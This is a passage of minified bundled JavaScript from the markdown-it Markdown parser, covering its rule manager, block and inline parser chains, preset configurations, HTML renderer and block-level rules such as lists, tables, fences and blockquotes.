n.indexOf(e)<0}));if(r.length&&!t)throw new Error("MarkdownIt. Failed to disable unknown rule(s): "+r);return this},k.prototype.use=function(e){var t=[this].concat(Array.prototype.slice.call(arguments,1));return e.apply(e,t),this},k.prototype.parse=function(e,t){if("string"!=typeof e)throw new Error("Input data should be a String");var n=new this.core.State(e,this,t);return this.core.process(n),n.tokens},k.prototype.render=function(e,t){return t=t||{},this.renderer.render(this.parse(e,t),this.options,t)},k.prototype.parseInline=function(e,t){var n=new this.core.State(e,this,t);return n.inlineMode=!0,this.core.process(n),n.tokens},k.prototype.renderInline=function(e,t){return t=t||{},this.renderer.render(this.parseInline(e,t),this.options,t)},e.exports=k},99575:function(e,t,n){"use strict";var r=n(81377),a=[["table",n(12592),["paragraph","reference"]],["code",n(99334)],["fence",n(79783),["paragraph","reference","blockquote","list"]],["blockquote",n(36901),["paragraph","reference","blockquote","list"]],["hr",n(68837),["paragraph","reference","blockquote","list"]],["list",n(46388),["paragraph","reference","blockquote"]],["reference",n(33765)],["html_block",n(33869),["paragraph","reference","blockquote"]],["heading",n(21127),["paragraph","reference","blockquote"]],["lheading",n(5393)],["paragraph",n(24934)]];function o(){this.ruler=new r;for(var e=0;e<a.length;e++)this.ruler.push(a[e][0],a[e][1],{alt:(a[e][2]||[]).slice()})}o.prototype.tokenize=function(e,t,n){for(var r,a=this.ruler.getRules(""),o=a.length,i=t,s=!1,l=e.md.options.maxNesting;i<n&&(e.line=i=e.skipEmptyLines(i),!(i>=n))&&!(e.sCount[i]<e.blkIndent);){if(e.level>=l){e.line=n;break}for(r=0;r<o&&!a[r](e,i,n,!1);r++);e.tight=!s,e.isEmpty(e.line-1)&&(s=!0),(i=e.line)<n&&e.isEmpty(i)&&(s=!0,i++,e.line=i)}},o.prototype.parse=function(e,t,n,r){var a;e&&(a=new this.State(e,t,n,r),this.tokenize(a,a.line,a.lineMax))},o.prototype.State=n(75355),e.exports=o},17742:function(e,t,n){"use strict";var r=n(81377),a=[["normalize",n(13837)],["block",n(30884)],["inline",n(25334)],["linkify",n(64756)],["replacements",n(60555)],["smartquotes",n(28867)]];function o(){this.ruler=new r;for(var e=0;e<a.length;e++)this.ruler.push(a[e][0],a[e][1])}o.prototype.process=function(e){var t,n,r;for(t=0,n=(r=this.ruler.getRules("")).length;t<n;t++)r[t](e)},o.prototype.State=n(30727),e.exports=o},37487:function(e,t,n){"use strict";var r=n(81377),a=[["text",n(10937)],["newline",n(62378)],["escape",n(8329)],["backticks",n(7912)],["strikethrough",n(54988).w],["emphasis",n(56141).w],["link",n(95028)],["image",n(92560)],["autolink",n(73273)],["html_inline",n(9955)],["entity",n(54408)]],o=[["balance_pairs",n(76399)],["strikethrough",n(54988).g],["emphasis",n(56141).g],["text_collapse",n(52406)]];function i(){var e;for(this.ruler=new r,e=0;e<a.length;e++)this.ruler.push(a[e][0],a[e][1]);for(this.ruler2=new r,e=0;e<o.length;e++)this.ruler2.push(o[e][0],o[e][1])}i.prototype.skipToken=function(e){var t,n,r=e.pos,a=this.ruler.getRules(""),o=a.length,i=e.md.options.maxNesting,s=e.cache;if(void 0===s[r]){if(e.level<i)for(n=0;n<o&&(e.level++,t=a[n](e,!0),e.level--,!t);n++);else e.pos=e.posMax;t||e.pos++,s[r]=e.pos}else e.pos=s[r]},i.prototype.tokenize=function(e){for(var t,n,r=this.ruler.getRules(""),a=r.length,o=e.posMax,i=e.md.options.maxNesting;e.pos<o;){if(e.level<i)for(n=0;n<a&&!(t=r[n](e,!1));n++);if(t){if(e.pos>=o)break}else e.pending+=e.src[e.pos++]}e.pending&&e.pushPending()},i.prototype.parse=function(e,t,n,r){var a,o,i,s=new this.State(e,t,n,r);for(this.tokenize(s),i=(o=this.ruler2.getRules("")).length,a=0;a<i;a++)o[a](s)},i.prototype.State=n(25240),e.exports=i},9372:function(e){"use strict";e.exports={options:{html:!0,xhtmlOut:!0,breaks:!1,langPrefix:"language-",linkify:!1,typographer:!1,quotes:"“”‘’",highlight:null,maxNesting:20},components:{core:{rules:["normalize","block","inline"]},block:{rules:["blockquote","code","fence","heading","hr","html_block","lheading","list","reference","paragraph"]},inline:{rules:["autolink","backticks","emphasis","entity","escape","html_inline","image","link","newline","text"],rules2:["balance_pairs","emphasis","text_collapse"]}}}},66223:function(e){"use strict";e.exports={options:{html:!1,xhtmlOut:!1,breaks:!1,langPrefix:"language-",linkify:!1,typographer:!1,quotes:"“”‘’",highlight:null,maxNesting:100},components:{core:{},block:{},inline:{}}}},11582:function(e){"use strict";e.exports={options:{html:!1,xhtmlOut:!1,breaks:!1,langPrefix:"language-",linkify:!1,typographer:!1,quotes:"“”‘’",highlight:null,maxNesting:20},components:{core:{rules:["normalize","block","inline"]},block:{rules:["paragraph"]},inline:{rules:["text"],rules2:["balance_pairs","text_collapse"]}}}},42403:function(e,t,n){"use strict";var r=n(39615).assign,a=n(39615).unescapeAll,o=n(39615).escapeHtml,i={};function s(){this.rules=r({},i)}i.code_inline=function(e,t,n,r,a){var i=e[t];return"<code"+a.renderAttrs(i)+">"+o(e[t].content)+"</code>"},i.code_block=function(e,t,n,r,a){var i=e[t];return"<pre"+a.renderAttrs(i)+"><code>"+o(e[t].content)+"</code></pre>\n"},i.fence=function(e,t,n,r,i){var s,l,c,u,d,p=e[t],m=p.info?a(p.info).trim():"",h="",f="";return m&&(h=(c=m.split(/(\s+)/g))[0],f=c.slice(2).join("")),0===(s=n.highlight&&n.highlight(p.content,h,f)||o(p.content)).indexOf("<pre")?s+"\n":m?(l=p.attrIndex("class"),u=p.attrs?p.attrs.slice():[],l<0?u.push(["class",n.langPrefix+h]):(u[l]=u[l].slice(),u[l][1]+=" "+n.langPrefix+h),d={attrs:u},"<pre><code"+i.renderAttrs(d)+">"+s+"</code></pre>\n"):"<pre><code"+i.renderAttrs(p)+">"+s+"</code></pre>\n"},i.image=function(e,t,n,r,a){var o=e[t];return o.attrs[o.attrIndex("alt")][1]=a.renderInlineAsText(o.children,n,r),a.renderToken(e,t,n)},i.hardbreak=function(e,t,n){return n.xhtmlOut?"<br />\n":"<br>\n"},i.softbreak=function(e,t,n){return n.breaks?n.xhtmlOut?"<br />\n":"<br>\n":"\n"},i.text=function(e,t){return o(e[t].content)},i.html_block=function(e,t){return e[t].content},i.html_inline=function(e,t){return e[t].content},s.prototype.renderAttrs=function(e){var t,n,r;if(!e.attrs)return"";for(r="",t=0,n=e.attrs.length;t<n;t++)r+=" "+o(e.attrs[t][0])+'="'+o(e.attrs[t][1])+'"';return r},s.prototype.renderToken=function(e,t,n){var r,a="",o=!1,i=e[t];return i.hidden?"":(i.block&&-1!==i.nesting&&t&&e[t-1].hidden&&(a+="\n"),a+=(-1===i.nesting?"</":"<")+i.tag,a+=this.renderAttrs(i),0===i.nesting&&n.xhtmlOut&&(a+=" /"),i.block&&(o=!0,1===i.nesting&&t+1<e.length&&("inline"===(r=e[t+1]).type||r.hidden||-1===r.nesting&&r.tag===i.tag)&&(o=!1)),a+=o?">\n":">")},s.prototype.renderInline=function(e,t,n){for(var r,a="",o=this.rules,i=0,s=e.length;i<s;i++)void 0!==o[r=e[i].type]?a+=o[r](e,i,t,n,this):a+=this.renderToken(e,i,t);return a},s.prototype.renderInlineAsText=function(e,t,n){for(var r="",a=0,o=e.length;a<o;a++)"text"===e[a].type?r+=e[a].content:"image"===e[a].type?r+=this.renderInlineAsText(e[a].children,t,n):"softbreak"===e[a].type&&(r+="\n");return r},s.prototype.render=function(e,t,n){var r,a,o,i="",s=this.rules;for(r=0,a=e.length;r<a;r++)"inline"===(o=e[r].type)?i+=this.renderInline(e[r].children,t,n):void 0!==s[o]?i+=s[e[r].type](e,r,t,n,this):i+=this.renderToken(e,r,t,n);return i},e.exports=s},81377:function(e){"use strict";function t(){this.__rules__=[],this.__cache__=null}t.prototype.__find__=function(e){for(var t=0;t<this.__rules__.length;t++)if(this.__rules__[t].name===e)return t;return-1},t.prototype.__compile__=function(){var e=this,t=[""];e.__rules__.forEach((function(e){e.enabled&&e.alt.forEach((function(e){t.indexOf(e)<0&&t.push(e)}))})),e.__cache__={},t.forEach((function(t){e.__cache__[t]=[],e.__rules__.forEach((function(n){n.enabled&&(t&&n.alt.indexOf(t)<0||e.__cache__[t].push(n.fn))}))}))},t.prototype.at=function(e,t,n){var r=this.__find__(e),a=n||{};if(-1===r)throw new Error("Parser rule not found: "+e);this.__rules__[r].fn=t,this.__rules__[r].alt=a.alt||[],this.__cache__=null},t.prototype.before=function(e,t,n,r){var a=this.__find__(e),o=r||{};if(-1===a)throw new Error("Parser rule not found: "+e);this.__rules__.splice(a,0,{name:t,enabled:!0,fn:n,alt:o.alt||[]}),this.__cache__=null},t.prototype.after=function(e,t,n,r){var a=this.__find__(e),o=r||{};if(-1===a)throw new Error("Parser rule not found: "+e);this.__rules__.splice(a+1,0,{name:t,enabled:!0,fn:n,alt:o.alt||[]}),this.__cache__=null},t.prototype.push=function(e,t,n){var r=n||{};this.__rules__.push({name:e,enabled:!0,fn:t,alt:r.alt||[]}),this.__cache__=null},t.prototype.enable=function(e,t){Array.isArray(e)||(e=[e]);var n=[];return e.forEach((function(e){var r=this.__find__(e);if(r<0){if(t)return;throw new Error("Rules manager: invalid rule name "+e)}this.__rules__[r].enabled=!0,n.push(e)}),this),this.__cache__=null,n},t.prototype.enableOnly=function(e,t){Array.isArray(e)||(e=[e]),this.__rules__.forEach((function(e){e.enabled=!1})),this.enable(e,t)},t.prototype.disable=function(e,t){Array.isArray(e)||(e=[e]);var n=[];return e.forEach((function(e){var r=this.__find__(e);if(r<0){if(t)return;throw new Error("Rules manager: invalid rule name "+e)}this.__rules__[r].enabled=!1,n.push(e)}),this),this.__cache__=null,n},t.prototype.getRules=function(e){return null===this.__cache__&&this.__compile__(),this.__cache__[e]||[]},e.exports=t},36901:function(e,t,n){"use strict";var r=n(39615).isSpace;e.exports=function(e,t,n,a){var o,i,s,l,c,u,d,p,m,h,f,g,b,v,k,y,E,w,_,C,S=e.lineMax,j=e.bMarks[t]+e.tShift[t],x=e.eMarks[t];if(e.sCount[t]-e.blkIndent>=4)return!1;if(62!==e.src.charCodeAt(j++))return!1;if(a)return!0;for(l=m=e.sCount[t]+1,32===e.src.charCodeAt(j)?(j++,l++,m++,o=!1,y=!0):9===e.src.charCodeAt(j)?(y=!0,(e.bsCount[t]+m)%4==3?(j++,l++,m++,o=!1):o=!0):y=!1,h=[e.bMarks[t]],e.bMarks[t]=j;j<x&&(i=e.src.charCodeAt(j),r(i));)9===i?m+=4-(m+e.bsCount[t]+(o?1:0))%4:m++,j++;for(f=[e.bsCount[t]],e.bsCount[t]=e.sCount[t]+1+(y?1:0),u=j>=x,v=[e.sCount[t]],e.sCount[t]=m-l,k=[e.tShift[t]],e.tShift[t]=j-e.bMarks[t],w=e.md.block.ruler.getRules("blockquote"),b=e.parentType,e.parentType="blockquote",p=t+1;p<n&&(C=e.sCount[p]<e.blkIndent,!((j=e.bMarks[p]+e.tShift[p])>=(x=e.eMarks[p])));p++)if(62!==e.src.charCodeAt(j++)||C){if(u)break;for(E=!1,s=0,c=w.length;s<c;s++)if(w[s](e,p,n,!0)){E=!0;break}if(E){e.lineMax=p,0!==e.blkIndent&&(h.push(e.bMarks[p]),f.push(e.bsCount[p]),k.push(e.tShift[p]),v.push(e.sCount[p]),e.sCount[p]-=e.blkIndent);break}h.push(e.bMarks[p]),f.push(e.bsCount[p]),k.push(e.tShift[p]),v.push(e.sCount[p]),e.sCount[p]=-1}else{for(l=m=e.sCount[p]+1,32===e.src.charCodeAt(j)?(j++,l++,m++,o=!1,y=!0):9===e.src.charCodeAt(j)?(y=!0,(e.bsCount[p]+m)%4==3?(j++,l++,m++,o=!1):o=!0):y=!1,h.push(e.bMarks[p]),e.bMarks[p]=j;j<x&&(i=e.src.charCodeAt(j),r(i));)9===i?m+=4-(m+e.bsCount[p]+(o?1:0))%4:m++,j++;u=j>=x,f.push(e.bsCount[p]),e.bsCount[p]=e.sCount[p]+1+(y?1:0),v.push(e.sCount[p]),e.sCount[p]=m-l,k.push(e.tShift[p]),e.tShift[p]=j-e.bMarks[p]}for(g=e.blkIndent,e.blkIndent=0,(_=e.push("blockquote_open","blockquote",1)).markup=">",_.map=d=[t,0],e.md.block.tokenize(e,t,p),(_=e.push("blockquote_close","blockquote",-1)).markup=">",e.lineMax=S,e.parentType=b,d[1]=e.line,s=0;s<k.length;s++)e.bMarks[s+t]=h[s],e.tShift[s+t]=k[s],e.sCount[s+t]=v[s],e.bsCount[s+t]=f[s];return e.blkIndent=g,!0}},99334:function(e){"use strict";e.exports=function(e,t,n){var r,a,o;if(e.sCount[t]-e.blkIndent<4)return!1;for(a=r=t+1;r<n;)if(e.isEmpty(r))r++;else{if(!(e.sCount[r]-e.blkIndent>=4))break;a=++r}return e.line=a,(o=e.push("code_block","code",0)).content=e.getLines(t,a,4+e.blkIndent,!1)+"\n",o.map=[t,e.line],!0}},79783:function(e){"use strict";e.exports=function(e,t,n,r){var a,o,i,s,l,c,u,d=!1,p=e.bMarks[t]+e.tShift[t],m=e.eMarks[t];if(e.sCount[t]-e.blkIndent>=4)return!1;if(p+3>m)return!1;if(126!==(a=e.src.charCodeAt(p))&&96!==a)return!1;if(l=p,(o=(p=e.skipChars(p,a))-l)<3)return!1;if(u=e.src.slice(l,p),i=e.src.slice(p,m),96===a&&i.indexOf(String.fromCharCode(a))>=0)return!1;if(r)return!0;for(s=t;!(++s>=n)&&!((p=l=e.bMarks[s]+e.tShift[s])<(m=e.eMarks[s])&&e.sCount[s]<e.blkIndent);)if(e.src.charCodeAt(p)===a&&!(e.sCount[s]-e.blkIndent>=4||(p=e.skipChars(p,a))-l<o||(p=e.skipSpaces(p))<m)){d=!0;break}return o=e.sCount[t],e.line=s+(d?1:0),(c=e.push("fence","code",0)).info=i,c.content=e.getLines(t+1,s,o,!0),c.markup=u,c.map=[t,e.line],!0}},21127:function(e,t,n){"use strict";var r=n(39615).isSpace;e.exports=function(e,t,n,a){var o,i,s,l,c=e.bMarks[t]+e.tShift[t],u=e.eMarks[t];if(e.sCount[t]-e.blkIndent>=4)return!1;if(35!==(o=e.src.charCodeAt(c))||c>=u)return!1;for(i=1,o=e.src.charCodeAt(++c);35===o&&c<u&&i<=6;)i++,o=e.src.charCodeAt(++c);return!(i>6||c<u&&!r(o))&&(a||(u=e.skipSpacesBack(u,c),(s=e.skipCharsBack(u,35,c))>c&&r(e.src.charCodeAt(s-1))&&(u=s),e.line=t+1,(l=e.push("heading_open","h"+String(i),1)).markup="########".slice(0,i),l.map=[t,e.line],(l=e.push("inline","",0)).content=e.src.slice(c,u).trim(),l.map=[t,e.line],l.children=[],(l=e.push("heading_close","h"+String(i),-1)).markup="########".slice(0,i)),!0)}},68837:function(e,t,n){"use strict";var r=n(39615).isSpace;e.exports=function(e,t,n,a){var o,i,s,l,c=e.bMarks[t]+e.tShift[t],u=e.eMarks[t];if(e.sCount[t]-e.blkIndent>=4)return!1;if(42!==(o=e.src.charCodeAt(c++))&&45!==o&&95!==o)return!1;for(i=1;c<u;){if((s=e.src.charCodeAt(c++))!==o&&!r(s))return!1;s===o&&i++}return!(i<3)&&(a||(e.line=t+1,(l=e.push("hr","hr",0)).map=[t,e.line],l.markup=Array(i+1).join(String.fromCharCode(o))),!0)}},33869:function(e,t,n){"use strict";var r=n(43093),a=n(36570).q,o=[[/^<(script|pre|style|textarea)(?=(\s|>|$))/i,/<\/(script|pre|style|textarea)>/i,!0],[/^<!--/,/-->/,!0],[/^<\?/,/\?>/,!0],[/^<![A-Z]/,/>/,!0],[/^<!\[CDATA\[/,/\]\]>/,!0],[new RegExp("^</?("+r.join("|")+")(?=(\\s|/?>|$))","i"),/^$/,!0],[new RegExp(a.source+"\\s*$"),/^$/,!1]];e.exports=function(e,t,n,r){var a,i,s,l,c=e.bMarks[t]+e.tShift[t],u=e.eMarks[t];if(e.sCount[t]-e.blkIndent>=4)return!1;if(!e.md.options.html)return!1;if(60!==e.src.charCodeAt(c))return!1;for(l=e.src.slice(c,u),a=0;a<o.length&&!o[a][0].test(l);a++);if(a===o.length)return!1;if(r)return o[a][2];if(i=t+1,!o[a][1].test(l))for(;i<n&&!(e.sCount[i]<e.blkIndent);i++)if(c=e.bMarks[i]+e.tShift[i],u=e.eMarks[i],l=e.src.slice(c,u),o[a][1].test(l)){0!==l.length&&i++;break}return e.line=i,(s=e.push("html_block","",0)).map=[t,i],s.content=e.getLines(t,i,e.blkIndent,!0),!0}},5393:function(e){"use strict";e.exports=function(e,t,n){var r,a,o,i,s,l,c,u,d,p,m=t+1,h=e.md.block.ruler.getRules("paragraph");if(e.sCount[t]-e.blkIndent>=4)return!1;for(p=e.parentType,e.parentType="paragraph";m<n&&!e.isEmpty(m);m++)if(!(e.sCount[m]-e.blkIndent>3)){if(e.sCount[m]>=e.blkIndent&&(l=e.bMarks[m]+e.tShift[m])<(c=e.eMarks[m])&&(45===(d=e.src.charCodeAt(l))||61===d)&&(l=e.skipChars(l,d),(l=e.skipSpaces(l))>=c)){u=61===d?1:2;break}if(!(e.sCount[m]<0)){for(a=!1,o=0,i=h.length;o<i;o++)if(h[o](e,m,n,!0)){a=!0;break}if(a)break}}return!!u&&(r=e.getLines(t,m,e.blkIndent,!1).trim(),e.line=m+1,(s=e.push("heading_open","h"+String(u),1)).markup=String.fromCharCode(d),s.map=[t,e.line],(s=e.push("inline","",0)).content=r,s.map=[t,e.line-1],s.children=[],(s=e.push("heading_close","h"+String(u),-1)).markup=String.fromCharCode(d),e.parentType=p,!0)}},46388:function(e,t,n){"use strict";var r=n(39615).isSpace;function a(e,t){var n,a,o,i;return a=e.bMarks[t]+e.tShift[t],o=e.eMarks[t],42!==(n=e.src.charCodeAt(a++))&&45!==n&&43!==n||a<o&&(i=e.src.charCodeAt(a),!r(i))?-1:a}function o(e,t){var n,a=e.bMarks[t]+e.tShift[t],o=a,i=e.eMarks[t];if(o+1>=i)return-1;if((n=e.src.charCodeAt(o++))<48||n>57)return-1;for(;;){if(o>=i)return-1;if(!((n=e.src.charCodeAt(o++))>=48&&n<=57)){if(41===n||46===n)break;return-1}if(o-a>=10)return-1}return o<i&&(n=e.src.charCodeAt(o),!r(n))?-1:o}e.exports=function(e,t,n,r){var i,s,l,c,u,d,p,m,h,f,g,b,v,k,y,E,w,_,C,S,j,x,P,L,T,N,A,R,I=!1,M=!0;if(e.sCount[t]-e.blkIndent>=4)return!1;if(e.listIndent>=0&&e.sCount[t]-e.listIndent>=4&&e.sCount[t]<e.blkIndent)return!1;if(r&&"paragraph"===e.parentType&&e.sCount[t]>=e.blkIndent&&(I=!0),(P=o(e,t))>=0){if(p=!0,T=e.bMarks[t]+e.tShift[t],v=Number(e.src.slice(T,P-1)),I&&1!==v)return!1}else{if(!((P=a(e,t))>=0))return!1;p=!1}if(I&&e.skipSpaces(P)>=e.eMarks[t])return!1;if(b=e.src.charCodeAt(P-1),r)return!0;for(g=e.tokens.length,p?(R=e.push("ordered_list_open","ol",1),1!==v&&(R.attrs=[["start",v]])):R=e.push("bullet_list_open","ul",1),R.map=f=[t,0],R.markup=String.fromCharCode(b),y=t,L=!1,A=e.md.block.ruler.getRules("list"),_=e.parentType,e.parentType="list";y<n;){for(x=P,k=e.eMarks[y],d=E=e.sCount[y]+P-(e.bMarks[t]+e.tShift[t]);x<k;){if(9===(i=e.src.charCodeAt(x)))E+=4-(E+e.bsCount[y])%4;else{if(32!==i)break;E++}x++}if((u=(s=x)>=k?1:E-d)>4&&(u=1),c=d+u,(R=e.push("list_item_open","li",1)).markup=String.fromCharCode(b),R.map=m=[t,0],p&&(R.info=e.src.slice(T,P-1)),j=e.tight,S=e.tShift[t],C=e.sCount[t],w=e.listIndent,e.listIndent=e.blkIndent,e.blkIndent=c,e.tight=!0,e.tShift[t]=s-e.bMarks[t],e.sCount[t]=E,s>=k&&e.isEmpty(t+1)?e.line=Math.min(e.line+2,n):e.md.block.tokenize(e,t,n,!0),e.tight&&!L||(M=!1),L=e.line-t>1&&e.isEmpty(e.line-1),e.blkIndent=e.listIndent,e.listIndent=w,e.tShift[t]=S,e.sCount[t]=C,e.tight=j,(R=e.push("list_item_close","li",-1)).markup=String.fromCharCode(b),y=t=e.line,m[1]=y,s=e.bMarks[t],y>=n)break;if(e.sCount[y]<e.blkIndent)break;if(e.sCount[t]-e.blkIndent>=4)break;for(N=!1,l=0,h=A.length;l<h;l++)if(A[l](e,y,n,!0)){N=!0;break}if(N)break;if(p){if((P=o(e,y))<0)break;T=e.bMarks[y]+e.tShift[y]}else if((P=a(e,y))<0)break;if(b!==e.src.charCodeAt(P-1))break}return(R=p?e.push("ordered_list_close","ol",-1):e.push("bullet_list_close","ul",-1)).markup=String.fromCharCode(b),f[1]=y,e.line=y,e.parentType=_,M&&function(e,t){var n,r,a=e.level+2;for(n=t+2,r=e.tokens.length-2;n<r;n++)e.tokens[n].level===a&&"paragraph_open"===e.tokens[n].type&&(e.tokens[n+2].hidden=!0,e.tokens[n].hidden=!0,n+=2)}(e,g),!0}},24934:function(e){"use strict";e.exports=function(e,t){var n,r,a,o,i,s,l=t+1,c=e.md.block.ruler.getRules("paragraph"),u=e.lineMax;for(s=e.parentType,e.parentType="paragraph";l<u&&!e.isEmpty(l);l++)if(!(e.sCount[l]-e.blkIndent>3||e.sCount[l]<0)){for(r=!1,a=0,o=c.length;a<o;a++)if(c[a](e,l,u,!0)){r=!0;break}if(r)break}return n=e.getLines(t,l,e.blkIndent,!1).trim(),e.line=l,(i=e.push("paragraph_open","p",1)).map=[t,e.line],(i=e.push("inline","",0)).content=n,i.map=[t,e.line],i.children=[],i=e.push("paragraph_close","p",-1),e.parentType=s,!0}},33765:function(e,t,n){"use strict";var r=n(39615).normalizeReference,a=n(39615).isSpace;e.exports=function(e,t,n,o){var i,s,l,c,u,d,p,m,h,f,g,b,v,k,y,E,w=0,_=e.bMarks[t]+e.tShift[t],C=e.eMarks[t],S=t+1;if(e.sCount[t]-e.blkIndent>=4)return!1;if(91!==e.src.charCodeAt(_))return!1;for(;++_<C;)if(93===e.src.charCodeAt(_)&&92!==e.src.charCodeAt(_-1)){if(_+1===C)return!1;if(58!==e.src.charCodeAt(_+1))return!1;break}for(c=e.lineMax,y=e.md.block.ruler.getRules("reference"),f=e.parentType,e.parentType="reference";S<c&&!e.isEmpty(S);S++)if(!(e.sCount[S]-e.blkIndent>3||e.sCount[S]<0)){for(k=!1,d=0,p=y.length;d<p;d++)if(y[d](e,S,c,!0)){k=!0;break}if(k)break}for(C=(v=e.getLines(t,S,e.blkIndent,!1).trim()).length,_=1;_<C;_++){if(91===(i=v.charCodeAt(_)))return!1;if(93===i){h=_;break}(10===i||92===i&&++_<C&&10===v.charCodeAt(_))&&w++}if(h<0||58!==v.charCodeAt(h+1))return!1;for(_=h+2;_<C;_++)if(10===(i=v.charCodeAt(_)))w++;else if(!a(i))break;if(!(g=e.md.helpers.parseLinkDestination(v,_,C)).ok)return!1;if(u=e.md.normalizeLink(g.str),!e.md.validateLink(u))return!1;for(s=_=g.pos,l=w+=g.lines,b=_;_<C;_++)if(10===(i=v.charCodeAt(_)))w++;else if(!a(i))break;for(g=e.md.helpers.parseLinkTitle(v,_,C),_<C&&b!==_&&g.ok?(E=g.str,_=g.pos,w+=g.lines):(E="",_=s,w=l);_<C&&(i=v.charCodeAt(_),a(i));)_++;if(_<C&&10!==v.charCodeAt(_)&&E)for(E="",_=s,w=l;_<C&&(i=v.charCodeAt(_),a(i));)_++;return!(_<C&&10!==v.charCodeAt(_))&&(!!(m=r(v.slice(1,h)))&&(o||(void 0===e.env.references&&(e.env.references={}),void 0===e.env.references[m]&&(e.env.references[m]={title:E,href:u}),e.parentType=f,e.line=t+w+1),!0))}},75355:function(e,t,n){"use strict";var r=n(71872),a=n(39615).isSpace;function o(e,t,n,r){var o,i,s,l,c,u,d,p;for(this.src=e,this.md=t,this.env=n,this.tokens=r,this.bMarks=[],this.eMarks=[],this.tShift=[],this.sCount=[],this.bsCount=[],this.blkIndent=0,this.line=0,this.lineMax=0,this.tight=!1,this.ddIndent=-1,this.listIndent=-1,this.parentType="root",this.level=0,this.result="",p=!1,s=l=u=d=0,c=(i=this.src).length;l<c;l++){if(o=i.charCodeAt(l),!p){if(a(o)){u++,9===o?d+=4-d%4:d++;continue}p=!0}10!==o&&l!==c-1||(10!==o&&l++,this.bMarks.push(s),this.eMarks.push(l),this.tShift.push(u),this.sCount.push(d),this.bsCount.push(0),p=!1,u=0,d=0,s=l+1)}this.bMarks.push(i.length),this.eMarks.push(i.length),this.tShift.push(0),this.sCount.push(0),this.bsCount.push(0),this.lineMax=this.bMarks.length-1}o.prototype.push=function(e,t,n){var a=new r(e,t,n);return a.block=!0,n<0&&this.level--,a.level=this.level,n>0&&this.level++,this.tokens.push(a),a},o.prototype.isEmpty=function(e){return this.bMarks[e]+this.tShift[e]>=this.eMarks[e]},o.prototype.skipEmptyLines=function(e){for(var t=this.lineMax;e<t&&!(this.bMarks[e]+this.tShift[e]<this.eMarks[e]);e++);return e},o.prototype.skipSpaces=function(e){for(var t,n=this.src.length;e<n&&(t=this.src.charCodeAt(e),a(t));e++);return e},o.prototype.skipSpacesBack=function(e,t){if(e<=t)return e;for(;e>t;)if(!a(this.src.charCodeAt(--e)))return e+1;return e},o.prototype.skipChars=function(e,t){for(var n=this.src.length;e<n&&this.src.charCodeAt(e)===t;e++);return e},o.prototype.skipCharsBack=function(e,t,n){if(e<=n)return e;for(;e>n;)if(t!==this.src.charCodeAt(--e))return e+1;return e},o.prototype.getLines=function(e,t,n,r){var o,i,s,l,c,u,d,p=e;if(e>=t)return"";for(u=new Array(t-e),o=0;p<t;p++,o++){for(i=0,d=l=this.bMarks[p],c=p+1<t||r?this.eMarks[p]+1:this.eMarks[p];l<c&&i<n;){if(s=this.src.charCodeAt(l),a(s))9===s?i+=4-(i+this.bsCount[p])%4:i++;else{if(!(l-d<this.tShift[p]))break;i++}l++}u[o]=i>n?new Array(i-n+1).join(" ")+this.src.slice(l,c):this.src.slice(l,c)}return u.join("")},o.prototype.Token=r,e.exports=o},12592:function(e,t,n){"use strict";var r=n(39615).isSpace;function a(e,t){var n=e.bMarks[t]+e.tShift[t],r=e.eMarks[t];return e.src.substr(n,r-n)}function o(e){var t,n=[],r=0,a=e.length,o=!1,i=0,s="";for(t=e.charCodeAt(r);r<a;)124===t&&(o?(s+=e.substring(i,r-1),i=r):(n.push(s+e.substring(i,r)),s="",i=r+1)),o=92===t,r++,t=e.charCodeAt(r);return n.push(s+e.substring(i)),n}e.exports=function(e,t,n,i){var s,l,c,u,d,p,m,h,f,g,b,v,k,y,E,w,_,C;if(t+2>n)return!1;if(p=t+1,e.sCount[p]<e.blkIndent)return!1;if(e.sCount[p]-e.blkIndent>=4)return!1;if((c=e.bMarks[p]+e.tShift[p])>=e.eMarks[p])return!1;if(124!==(_=e.src.charCodeAt(c++))&&45!==_&&58!==_)return!1;if(c>=e.eMarks[p])return!1;if(124!==(C=e.src.charCodeAt(c++))&&45!==C&&58!==C&&!r(C))return!1;if(45===_&&r(C))return!1;for(;c<e.eMarks[p];){if(124!==(s=e.src.charCodeAt(c))&&45!==s&&58!==s&&!r(s))return!1;c++}for(m=(l=a(e,t+1)).split("|"),g=[],u=0;u<m.length;u++){if(!(b=m[u].trim())){if(0===u||u===m.length-1)continue;return!1}if(!/^:?-+:?$/.test(b))return!1;58===b.charCodeAt(b.length-1)?g.push(58===b.charCodeAt(0)?"center":"right"):58===b.charCodeAt(0)?g.push("left"):g.push("")}if(-1===(l=a(e,t).trim()).indexOf("|"))return!1;if(e.sCount[t]-e.blkIndent>=4)return!1;if((m=o(l)).length&&""===m[0]&&m.shift(),m.length&&""===m[m.length-1]&&m.pop(),0===(h=m.length)||h!==g.length)return!1;if(i)return!0;for(y=e.parentType,e.parentType="table",w=e.md.block.ruler.getRules("blockquote"),(f=e.push("table_open","table",1)).map=v=[t,0],(f=e.push("thead_open","thead",1)).map=[t,t+1],(f=e.push("tr_open","tr",1)).map=[t,t+1],u=0;u<m.length;u++)f=e.push("th_open","th",1),g[u]&&(f.attrs=[["style","text-align:"+g[u]]]),(f=e.push("inline","",0)).content=m[u].trim(),f.children=[],f=e.push("th_close","th",-1);for(f=e.push("tr_close","tr",-1),f=e.push("thead_close","thead",-1),p=t+2;p<n&&!(e.sCount[p]<e.blkIndent);p++){for(E=!1,u=0,d=w.length;u<d;u++)if(w[u](e,p,n,!0)){E=!0;break}if(E)break;if(!(l=a(e,p).trim()))break;if(e.sCount[p]-e.blkIndent>=4)break;for((m=o(l)).length&&""===m[0]&&m.shift(),m.length&&""===m[m.length-1]&&m.pop(),p===t+2&&((f=e.push("tbody_open","tbody",1)).map=k=[t+2,0]),(f=e.push("tr_open","tr",1)).map=[p,p+1],u=0;u<h;u++)f=e.push("td_open","td",1),g[u]&&(f.attrs=[["style","text-align:"+g[u]]]),(f=e.push("inline","",0)).content=m[u]?m[u].trim():"",f.children=[],f=e.push("td_close","td",-1);f=e.push("tr_close","tr",-1)}return k&&(f=e.push("tbody_close","tbody",-1),k[1]=p),f=e.push("table_close","table",-1),v[1]=p,e.parentType=y,e.line=p,!0}},30884:function(e){"use strict";e.exports=function(e){var t;e.inlineMode?((t=new e.Token("inline","",0)).content=e.src,t.map=[0,1],t.children=[],e.tokens.push(t)):e.md.block.parse(e.src,e.md,e.env,e.tokens)}},25334:function(e){"use strict";e.exports=function(e){var t,n,r,a=e.tokens;for(n=0,r=a.length;n<r;n++)"inline"===(t=a[n]).type&&e.md.inline.parse(t.content,e.md,e.env,t.children)}},64756:function(e,t,n){"use strict";var r=n(39615).arrayReplaceAt;function 